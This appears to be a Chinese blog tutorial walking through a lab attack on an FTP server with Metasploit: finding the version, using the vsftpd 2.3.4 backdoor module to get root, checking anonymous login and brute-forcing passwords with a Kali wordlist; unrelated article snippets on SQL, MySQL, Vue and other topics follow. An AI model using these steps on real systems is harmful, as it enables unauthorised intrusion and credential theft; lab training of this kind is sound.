技术标签: ftp 安全 web安全 网络 渗透测试 kali linux 网络安全
目录
1.打开kali系统的Metasploit软件。
2.查找模块 search ftp_version
3.使用模块
4.查看需要配置的参数 show options
5.设置目标主机--靶机 set RHOSTS 192.168.0.112
6.run
如图,我们可以得知ftp的版本号是2.3.4
1.查找对应的2.3.4ftp模块
如图,我们可以看到一个backdoor的模块,是一个后门模块。
2.使用模块
3. 查看需要配置的参数show options
4.设置目标主机 set RHOSTS 192.168.0.112
5.run
如图,我们可以看到root,我们已经拿到了root权限。
1.查找模块 search name:anonymous (anonymous:匿名)
2.使用模块
3.查找需要配置的参数
4.设置目标主机 set RHOSTS 192.168.0.112
5.run
如图,我们看到可以连上ftp了,但是是只读的。我们可以试着去连接一下。
我们刚刚只能只读去链接ftp,要想上传下载读写文件,我们就需要去获取账号密码。
1.查找模块 search ftp_login
2.使用模块
3.查找需要配置的参数 show options
4.设置目标主机 set RHOSTS 192.168.0.112
5.设置字典
set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
这个字典是kali自带的,后面我们可以自己下载一个更强大的字典导入到kali里面。
6.run
如图,成功获取到账号密码。
7.通过ftp进行登录
上传一个图片,测试上传成功。
同事写了一个小程序:获取指定文件夹下文件的名称程序虽然简单,但发布的方式却是自己以前没用过的, 用run.bat只用点击就可以完成任务. run.bat里的内容如下: java FileReaderpause 说明: FileReader 是一个类 pause 是用来定住dose窗口的 如果不行的话,请检查环境变量的配置
WITH的用法with主要用法之一就是简化联合子查询的sql代码,先将要用的子查询定义成一个表,后面可以重复使用。在多级和较为复杂的查询中可以让SQL更清晰。WITHAAAAS(SELECTc.sRTC_ID,c.sRTR_ID,c.sRTC_ColumnNameFROMSystem_ReportTool_Columnsc),BBBAS(SELECT...
一、配置主从同步1. 本例中主从ip及端口Master:10.1.5.8:3306Slave1:10.1.5.9:3306 (候选master)Slave2:10.1.5.195:3306 2. Slave配置参数log-bin = mysql-binlog-bin-index = mysql-bin.indexread_only=1 relay_log_
问题描述:在jsp文件中想使用jstl包,设置,提示需要导入响应的jstl包解决方案:在maven下找到pom.xml添加 javax.servlet jstl 1.2 javax.servle
在用vue做项目的时候,发现在新页面刷新后,上一页面带过来的参数会丢失。1:下面是错误的传对象参数方法:2:下面是正确的传对象参数方法, vue-router 传对象需要JSON.stringify()转化,这样刷新浏览器就不会丢失携带的参数了。:...
dialog.h#ifndef DIALOG_H#define DIALOG_H//#include #include #include #include #include #include #include #include //namespace Ui {// class Dialog;//}class Dialog :
1、收录不同:GB2312标准共收录6763个汉字,其中一级汉字3755个,二级汉字3008个; GBK共收入21886个汉字和图形符号。2、表示不同:GB2312对任意一个图形字符都采用两个字节表示,并对所收汉字进行了“分区”处理,每区含有94个汉字/符号,分别对应第一字节和第二字节。 GBK采用双字节表示,总体编码范围为8140-FEFE之间,首字节在81-FE之间,尾字节在40-FE之间。3、处理...
最近公司的项目要转用https,这里主要还是用到鸿神的 GitHub,其中设置可以访问所有网站代码是这样的HttpsUtils.SSLParams sslParams = HttpsUtils.getSslSocketFactory(null, null, null);OkHttpClient okHttpClient = new OkHttpClient.Builder()
士兵队列训练问题Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Total Submission(s): 3572 Accepted Submission(s): 1665Problem Description某部队进行新兵队列训练,将新兵从一
一)概述:1)从2.1版开始,Linux内核有了能力(capability)的概念,即它打破了UNIX/LINUX操作系统中超级用户/普通用户的概念,由普通用户也可以做只有超级用户可以完成的工作.2)capability可以作用在进程上(受限),也可以作用在程序文件上,它与sudo不同,sudo只针对用户/程序/文件的概述,即sudo可以配置某个用户可以执行
项目中需要用到在线支付,实现了调用支付宝接口的在线支付,记录下来以便以后使用。一、进入蚂蚁金服开放平台登录 网址:https://openhome.alipay.com/developmentDocument.htm 1.点击网址进入蚂蚁金服开放平台,用自己支付宝账号密码或扫码登录,登录后如下图所示。2.在上图中,点击开发接入。然后往下翻找到开发流程模块,...
注:ES和Maven引用的版本尽量一致使用Maven的情况下<dependency> <groupId> org.elasticsearch.client </groupId> <artifactId>elasticsearch-rest-high-level-client</artifactId> <version>7.12.0</version></dependency>